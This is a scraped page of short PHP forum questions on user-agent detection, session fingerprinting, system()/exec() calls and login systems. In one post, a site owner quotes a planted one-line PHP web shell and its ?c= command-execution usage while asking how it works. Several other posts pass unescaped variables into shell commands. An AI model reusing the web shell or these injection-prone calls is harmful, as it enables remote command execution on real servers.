Tracking Forums, Newsgroups, Maling Lists
Home Scripts Tutorials Tracker Forums
 
  HOME    TRACKER    PHP




How Can I Get The Operating System Through $HTTP_USER_AGENT


I was wondering how I can get the operating sytem with $HTTP_USER_AGENT? I saw in a different post that to get the borwser you do $HTTP_USER_AGENT (browser). So would it be $HTTP_USER_AGENT (os) or something similar for the OS?




View Complete Forum Thread with Replies

See Related Forum Messages: Follow the Links Below to View Complete Thread
Get Server Operating System
1. is there to know a way to know what operating system the server currently executing a php file is running? how do i do that in php?

2. how do i get the path to the mysql/bin folder of that server.. because for example i want to use this code in my php file:

shell_exec("mysqldump --allow-keywords --opt -uroot mydb > mydump.sql")
but i need to specify the path to mysqldump

Detect The Users Operating System Using PHP
Is it possible to detect a users operating system using PHP or is this
something for Javascript? I ask because I am trying getting some bugs
with a minor javascript script that is generating bugs when run using
IE on the Mac. The javascript, although a fancy feature, isnt all that
important to the page so Im just going to disable it from the server
for Mac users (sorry guys), at least until I figure out the way it will
display on the Mac.

I havent yet tested it in non-IE browsers (Firefox, Opera etc) on the
Mac. Can I also find out what browser software the Mac user is using.
If it works in other Mac browsers I can simply just disable it for IE
Mac users.

EyeOS : Opensource Web Based Operating System Based On "php"
EyeOS is a Opensource web based operating system based on "php".

try demo here

http://eyeos.info/eyeOS/

$_SERVER['HTTP_USER_AGENT']
what is exact sense of $_SERVER['HTTP_USER_AGENT'] output?


Fingerprinting And HTTP_USER_AGENT
I have read quite a few articles on "fingerprinting" a user when they
start a session. Chris Shiflett has a good article here:

http://shiflett.org/articles/the-truth-about-sessions

However, this part of his (and all the other similar articles) doesn't
make sense to me.

session_start();
$fingerprint = 'SECRETSTUFF' . $_SERVER['HTTP_USER_AGENT'];
$_SESSION['fingerprint'] = md5($fingerprint . session_id());

"With a fingerprint that is difficult to guess, little is gained without
leveraging this information in an additional way than demonstrated thus
far."

I don't really understand how this is more secure than just feeding
$_SERVER['HTTP_USER_AGENT'] into md5() without the secret seed, but I
must be missing something because everybody that talks about
fingerprinting seems to advocate adding a seed.

I am confused because as far as I can tell, every subsequent request the
user makes really only depends on $_SERVER['HTTP_USER_AGENT']. If an
attacker can successfully spoof this value, what does any of the
secretstuff matter? In order to check that we have a "valid" browser
after the initial saving in the session, we will have to re-supply the
seed and md5 representation after every submission of the user agent.

Given the above code, the only scenario I can envision in which we can
successfully match up this info would be something along the lines of:

$fingerprint = 'SECRETSTUFF' . $_SERVER['HTTP_USER_AGENT'];
if(md5($fingerprint) != $_SESSION['fingerprint'])
{
// prompt for password
}

called on each page, which to me doesn't really add any security since
we are providing what secretstuff is on every page.

Empty $_SERVER['HTTP_USER_AGENT']?
On several of my pages using this value, although Im not checking if it exists (which i think is most of my problem). When the function is called that uses this value, i get error log email, reporting that
"Undefined index: HTTP_USER_AGENT"

on the line number that the $_SERVER variable is used.

What should I do if something (web crawler possibly?) is hitting my website and not reporting a user agent. Im tempted to just do a redirect if this value isnt set.

System(); Command Not Working On Remote System. Windows.
My server is a windows machine, on the same domain as python(also a windows machine). Apache is running as a service as an administrator. This is a test only environment to whom it may concern(I hate people telling me how insecure my system is) I'm just trying to run:

$last_line = exec('dir pythonc$', $retval, $g);
print_r($retval);
echo '<br>'.$g.'<br>';
echo '$last_line= '.$last_line.'<br>';
Which outputs:

Array ( )
1
$last_line=

The command from the command line works fine. And apache can access directories that only administrators can access on the local machine.

After Executing System(), How Can I Pass "Y" To System By Php?
I want to use the system command to set user's priority

$cmd = "cacls d:appservwwwaccountMng$userName /G $userName:F";
system($cmd);

Then it appears
Are you sure (Y/N)?

How can I pass the "Y" to system by php?

MLM System
Is there anyone who has developed some online MLM System, i need to
develope a system where i need to calculate the total numbers of
members in the downline both, seperately for left and right leg.

This system works on 2 x 2 matrix.

Pat System..
How would you use patsystem for your templates in php? How would it make it easier? Where can i learn more about this? Also, Is their a script for making a today's featured sites? Thanks a lot.. I am learning more php with my books, i also want some good tutorials online.

Doc System...
Any one have any idea where I ca get a documentation system like the
one php.net uses?

Have a list (and sub lists) of topics, display details about a topic,
and allow users to BLOG that item at the bottom.

An API System?
I am creating widgets on my website. but right now I am limited. because the ones I have are hard coded into the page. Like (if i have the notepad widget, then show it here), etc. How would I make an API type system to allow people to make their own, similar to Facebok, Google, and now Meebo. Well not like Google. more like Facebook.

Rating System
Im tring to create a top10 rating system for my site.. but i have one problem.. i cant see to be able to find a way to code.. the sites levels ( ex: 1 - 10 ) i tried counting the tables.. but.. when i do count then.. then all sites with have the same number level..
forexample.. lets say..


1 first hightest url here

2 second highest url here

3 etc.....

but.. when i count it with mysql_num_array( );
then

all numbers will be that number of the colums that i have
in my database instead of 1 2 3 it will just say 2 2 2
does anyone knows a good way of doing this..

Template System
Could anyone explain the different ways there are to keeping HTML and PHP seperated?

Stats System
Is it possible to built a stats system in PHP that just says how many hits a day you're getting, perhaps go far enough to say what browser they're on, where they're coming from, what countries they're in. That kinda thing?

System Execute In Php
The same set of command in linux prompts and if call by php program, it does not work. I do not know why. The set of command is already chmod +x and ./what what ,it works.

Map Zooming System With PHP
I would like to be able to have a medium-sized graphic file shown on a page. A much larger version of the same image would be on the server. When the user clicks on the thumbnail image, the area near the place where the mouse was clicked would be taken from the larger image and displayed below the thumbnail image. The page updating would be done with Javascript, but I need some way of cropping the large image and sending that to the browser. Is it possible to do such a thing with PHP, or would it require a CGI program?

PHP And System Calls
Is there a way to call a system function without pausing the current script. I am making an IRC bot and need to call another script to use DCC chat and let the current script still continue working. If i use the system() command then it pasues the script until the other script is done. If anyone knows a workaround for this i'd love to hear it. I think i may know a workaround that involves opening a socket to my webserver and stuff, but i'd like to know if there is another way using PHP to do this. Also one more thing while i'm here. Do you have to download and compile PHP yourself to use the socket() function? I've just been downloading the pre-compiled binarys for windows and they don't seem to work with the function. Right now i have php4.0.5. If you do have to compile it could someone tell me or point me in the right direction on how to do this using the DJGPP compiler?

PHP System() And Exec()
Background: I am trying to execute a binary on the server located in the current directory where the php script is being run. The server is a linux (debian based). I am having trouble getting php to execute the binary properly, below is my code. Code:

Mail System
I want to make a mail system that works like this : I have a site for a gamers clan , so lots of members visit this site every day , now I want to make a mail system that does this :

When you visit my page you see somewere on the page a thing that makes you login or register if you aren't allready , so if you login you are able to send short text messages to people that are registered on the site , so you are able to send simple text (not images etc...) And when that user visits the page , logs in , he has to see some thing that indicates he has new mail (example : "You have 1 new email") And that he can read it on that same site by clicking on that message or something

I know it sounds weird , but I 've seen it on a site http://shrimpwars.be <-on the top right you can log-in or register etc ...


Please help me , at least tell me what function I should use (mail() , smtp ...)


Thanks

Template System
I've seen people talk about template classes and things such as Smarty and those, and I have looked at them myself and I still don't understand how they can help me. My current situation is a main page. Header, Navigation on the Left and the files are included in the center. The center files are basically tables displaying data. So if I want to let people edit the overall look, it would be rather easy. My problem is, how can I let the tables be adjusted globally.

Is it possible to do this via varibles? For instance, say I set all attributes to a varible? Example: echo '<TABLE BORDER=" '.$TABLEBORDER.' ">'

Another problem is that this is limiting...What if the user wants to use rounded tables? Then they would have to put an image in the corners of the tables. I can't allow them to edit the php file because it will be encrypted and its usually part of a While loop Example: while($row=mysql_fetch_array($sql){...

See my problem? Is there a template system that can help me?

Libray System
i am looking for a customisable library information system (open source
software), any information please.

ID Card System In PHP
I'm at a loose end this afternoon and thought that I might and build the
UK Government's ID card system in PHP.

Could somebody lend me a ready done design?

Also I need somebody to translate the government's specification into
English as the rest of us know it? I know it's mostly content-free so
apart from the odd 'not compulsory at all whatever gave you that idea'
I'm sure you won't mind.

[FX Calculator grind grind ...Ping!] That's £100,000,000 per page.


PS. Why do I know damn well that I could do a better job blindfold than
the inevitable shambles?

Php Url Rewriting System
anyone know of any sort of php module (like the ones you get at hotscripts.com) which will allow you to set up a url rewriting system for your site by writing to a .htaccess file? not sure what you'd call it, a remapping system, a url control system, a mod_rewrite control system etc etc.

System Administrator Log
I have googled every thing that I can think of but I can't seem to find
what I'm looking for. What I need is a daily log system for system
administrators. It needs to be able to support multiple groups (ie
Unix Admins, DBAs, etc). It would be used by system administrators and
shift teams to log events, problems, status, etc. All I can seem to
find are Helpdesk Trouble Ticketing systems which is more than I need.
Does anyone know of any PHP (or even Perl) Projects (Preferably Open
Source) that would meet my needs?

System() To Call A Cgi (C)
Have the following code to call a cgi (in C) :

system ('/opt/Netlife/eLink/samples/universal/cgi-bin/elpay.cgi $ip_tx_id $ip_car
d_type $ip_card_number $ip_exp_date $ip_amount',$ret_val);

In the cgi, only the /opt/Netlife/eLink/samples/universal/cgi-bin/elpay.cgi is pass over but not the rest of the parameters. Use argv and argc.

Web Mail System
1. I have written the registration of new email account.
2. I can write email and send it out in php.

q1. but I do not know how to read each email from the account that has emails and displays accordingly to each email account after he /she logins. I think neoemail is written in perl. I wish I could write something like the neoemail.

System() Command
if im using this it dont work PHP Code:

Using System() To Call A Cgi (C)
Does the system() behave like a command-line execution? The cgi (in C) can't seems to get the parameters pass in (using argc and argv)correctly. I noticed that it has to do with the assigment of argv[x] to a variable. If it is run from command line, it works but not through the browser.

How To Keep System() Safe
I have a php page that needs to make a system() call to a perl app. I
need to send user-entered search terms as parameters to the perl app,
and then capture the output from perl, do some light processing on it,
and then embed that into the php page.

I know how to do it, but this is not a controlled environment like a
LAN or a personal PC, so I am very paranoid about the risks of making
the system() call with user-supplied input. I know I will need to
shellescapearg() the user-input. Are there any other checks you would
recommend? Perhaps checks against the length of the user-input?
ctype_alnum()?

Membership System
I have been playing with PHP/MySQL and looking for code to build an online membership system around -- anything out there that I should look at?

Login System
I'd like to create a system where on every page there is a box with a space: username / password. Also there is one page with similar boxes, as well as one for email address and first/last name. When you sign up originally it takes the entered password and stores in mysql as md5() then when you login it will also md5() password.

I want it to mp5() it from the browser once (javascript) and then again on the server for added security. Anyone can give me the code to this so I can learn the rest.

Requested On System.
I have this soccer site, and in 1 part one
can manage the played matches:
Score, location, players who scored etc.

Now the last part is what i have a question about.
The players are in a MYSQL db. Each has it's own
unique ID.
Fields:
- id
- firstname
- lastname
- position

Matches are also stored in the DB.
Fields:
- id
- opponent
- location
- date
- homepoints
- visitorspoints

If i have a new match, and the score is 5-3 how should
i add 5 player's ID of players who scored (in a yet to
create DB-field), in that way that i can get the person
that scored the most ... (topscorer)
And 2nd, and 3rd etc.

I hope it's clear.

Login System
I have a site with a MySQL backend. It has a member-system.
Members login with a small login-form that appears on every page
(via include())
If members are logged in, the form disappears and a few extra links
appear instead of the form.

- If members log in, i want to redirect them, if succesful, back to
the page they logged in from.
Should i use an extra hidden form-field with the
$_SERVER['request_uri'] or sould i use the $_SERVER['http_referer']?

- In both cases, how can i check that the referer is from MY domain?
if users login from http://domain.com/page.php i want to send them
back to that page, and not to http://www.domain.com/page.php and
vice versa.
How do i make sure they come from 1 of my own pages, and it's
accepted WITH and WITHOUT the

PHP Billing System
i am building a billing system in PHP. one of the tasks i need to perform is determining if there is only 1 month left in the contract. can anyone recommend a good method for doing so?

i thought of getting the date the product was purchased and adding the contract amount and then seeing if the current month was in between those values, but im not sure how to go about doing that.

Template System For PHP
If you don't like to use an interpreter like Smarty to parse special markup tags(for eaxample {}) written in your templtate files and covert those to PHP, visit the following link....

Template System
Im looking to develop a Template System that i can use in websites for my clients.I have had a look at FastTemplate, PHPLIB, and PEAR. I have also written a Template System that is sort of a hybrid of all three but, i was wondering what everyone else's views or opinions are on what features should be included in a good Template System.

Obviously the templates will reside in another file and some PHP code will call the template and replace the fields in the template with some sizzling content.

Bug Report System
do any of you know of a good bug reporting system? i have been working with bugzilla but i think it sucks!(sorry)

Terminate A System()
I was doing a system("traceroute www.cisco.com") It has a firewall i think so its gonna take a long time. But if i wanna terminate the operation because i don't wanna wait, how do i go about doing that. At the moment if I do traceroutes to such urls, I will hafta to wait until its completed b4 I can continue. Anyway to do a "ctrl c" type command like in shell? I face the same problem when I telnet to a router to do the trace.

Blog System
Can anyone suggest a Blog system which allows for multi users with each user basically having their own Blog?

Function System()
i like to know how to disable the system() function.

Is there a parametre in php.ini or is it only a question of authorisation ?

System() And Exec()
If you start a program using this function and want to leave it running in the background, you have to make sure that the output of that program is redirected to a file or some other output stream or else PHP will hang until the execution of the program ends.

I have tried numerous time by redirecting to a file or other stream to free up a php web page that called a perl script for example, but the php script always hangs...has anyone had any luck freeing up a calling php script from a process, or program that it launched in the background? Code:

A Secure Log-in System
I want to make a login system as secure as possible on a website I develop.

* The user shall log on using a Username and a password (which is stored in
a mySQL database)
*The server which I use to run my application has "register_globals"
activated (set to "on"), so that has to be taken into concideration
*The system should be secure even if the user do not click "log out" when he
is finished. (Users often just close the browser window)
*It is good if the system works even if coockies are not enabled on the
client

How can I make a login-system as secure as possible based on this?
Do I have to use session-variables, or are there other ways?

[IMP] Classification System For CMS
PHP-community should develop a classification system for content management
tools. This would exremely useful since it is very painstaking to load,
install and try out different applications without even basic knowledge if
they fit my needs or not.

Every module' every essential property in certain system should be listed.
Then I would just need to check the desitred boxes and make a search. As s
result I would get the closest matching systems.

System() And ImageMagick
the following problem occured:

i use imagemagick (Version: ImageMagick 6.2.2 05/26/05 Q16 on Fedora
Core 3 Server)
When i manually (on bash) execute:

/usr/bin/convert -size 300x267
/var/www/html/web4/html/_img/_2/b28a3240dffa1cad3dab0e877a3d7c5e.jpg
-resize 126x100+0+-6 +profile "*"
/var/www/html/web4/html/_img/_2/_tn/t_b28a3240dffa1cad3dab0e877a3d7c5e.jpg

it works. (i am root)

executing the same within a PHP Script with system(... command as shown
above ...);

i get the following output:
convert: unable to open image
`/var/www/html/web4/html/_img/_2/fa1d0a1d407f077aa98c8498b3e8be7d.jpg':
Permission denied.


The /var/ folder belongs to root and has chmod 755
/var/www/ has 777 (root),
/var/www/web4/ has 777 (apache --the httpd runs on user
apache:apache),
/var/www/web4/html/ ... till _img/_2/.... has 777 and is
apache:apache.

I really don't get this.... can anyone give me a hint? Even googling
didn't resolve this issue.

PHP & Sound System
I want to build a php based webserver that can act as a playlist
editor and play mp3's through the sound system on the server through
an itrip like device that will allow it to be picked up on fm radios
around the house.

I've got the whole thing sorted apart from the minor point of
accessing the sound system!?!

I'm guessing I will have to have some third party app that can act as
a go between the php and the sound system but I can't seem to find
anything that will do this.

I thought about writing the lot in .net but I was wanting to keep it
cross-platform if possible....

Hacked With System()
our server got hacked through a security hole in an open source php
chat script.
(nothing new so far, ok!)

This chat script allowed the user to create a new php script on our
server, with the following content: (the code between the two "..."
from the hacker):

<?
$name = "{$x[system($c)]}";
// some more lines ommitted ...
?>

save these lines as e.g. /sys.php and call it with your browser:
http://localhost/sys.php?c=ls
and you can execute any system command and see the results!

But: How does it work? The content of a variable being executed and
written to the browser?
If it were just "system($c)" then I understood.
I couldn't find anything about this on the web (didn't know how to
specify the search to get useful results). Can anybody explain what
happens?

System Scripting With PHP
I'd like to use PHP as simple, standalone system-scripting engine rather
than HTML generating engine on Web Server.

Executing simple file: HelloWorld.php
========================
<?
echo "Hello world!
";
?>
========================

I get raw output that looks like this:
========================
X-Powered-By: PHP/4.1.2
Content-type: text/html; charset=iso-8859-2

Hello world!

========================

How can I get rid of those X-Powered-By: and Content-type: headers from the
script's output?

PHP/Mysql ERP/POS SYSTEM
I have been searching for ERP system that runs on PHP/Mysql for a
med-large sized business.

Most of the ones I have found are pretty cheesy and don't do everything
a ecommerce company would need.

Looking for
1. Ability to maintain inventory
2. Ability to drop ship a order
3. Import orders from a already created ecommerce website.
4. PHP Archetecture
5. MySql backend
6. Software company has been around and has some good demo/references.
7. Customer Management
8. Add QTY pricing
9. Special Pricing
10. Coupons

Does anyone know of a good company to handle this? It is kind of
disappointing to me since I am a php programmer. But I don't want to
recreate the wheel.


Copyright © 2005-08 www.BigResource.com, All rights reserved